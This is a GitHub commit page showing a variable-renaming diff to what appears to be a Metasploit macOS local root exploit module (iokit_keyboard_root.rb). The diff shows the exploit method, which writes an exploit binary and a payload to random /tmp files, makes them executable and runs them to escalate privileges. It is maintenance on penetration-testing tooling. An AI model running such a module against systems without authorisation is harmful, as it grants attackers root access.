Skip to content

Commit d7d1b72

Browse files
committed
Rename local_variables
1 parent d77c02f commit d7d1b72

File tree

1 file changed

+14
-14
lines changed

1 file changed

+14
-14
lines changed

modules/exploits/osx/local/iokit_keyboard_root.rb

Lines changed: 14 additions & 14 deletions
Original file line numberDiff line numberDiff line change
@@ -61,23 +61,23 @@ def check
6161

6262
def exploit
6363
osx_path = File.join(Msf::Config.install_root, 'data', 'exploits', 'osx')
64-
exploit = File.read(File.join(osx_path, 'key_exploit.bin'))
65-
pload = Msf::Util::EXE.to_osx_x64_macho(framework, payload.encoded)
66-
tmpfile = "/tmp/#{Rex::Text::rand_text_alpha_lower(12)}"
67-
payloadfile = "/tmp/#{Rex::Text::rand_text_alpha_lower(12)}"
64+
binary_exploit = File.read(File.join(osx_path, 'key_exploit.bin'))
65+
binary_payload = Msf::Util::EXE.to_osx_x64_macho(framework, payload.encoded)
66+
exploit_file = "/tmp/#{Rex::Text::rand_text_alpha_lower(12)}"
67+
payload_file = "/tmp/#{Rex::Text::rand_text_alpha_lower(12)}"
6868

69-
print_status "Writing temp file as '#{tmpfile}'"
70-
write_file(tmpfile, exploit)
71-
register_file_for_cleanup(tmpfile)
69+
print_status("Writing exploit file as '#{exploit_file}'")
70+
write_file(exploit_file, binary_exploit)
71+
register_file_for_cleanup(exploit_file)
7272

73-
print_status "Writing payload file as '#{payloadfile}'"
74-
write_file(payloadfile, pload)
75-
register_file_for_cleanup(payloadfile)
73+
print_status("Writing payload file as '#{payload_file}'")
74+
write_file(payload_file, binary_payload)
75+
register_file_for_cleanup(payload_file)
7676

77-
print_status "Executing payload..."
78-
cmd_exec("chmod +x #{tmpfile}")
79-
cmd_exec("chmod +x #{payloadfile}")
80-
cmd_exec("#{tmpfile} #{payloadfile}")
77+
print_status("Executing payload...")
78+
cmd_exec("chmod +x #{exploit_file}")
79+
cmd_exec("chmod +x #{payload_file}")
80+
cmd_exec("#{exploit_file} #{payload_file}")
8181
end
8282

8383
def osx_ver

0 commit comments

Comments
 (0)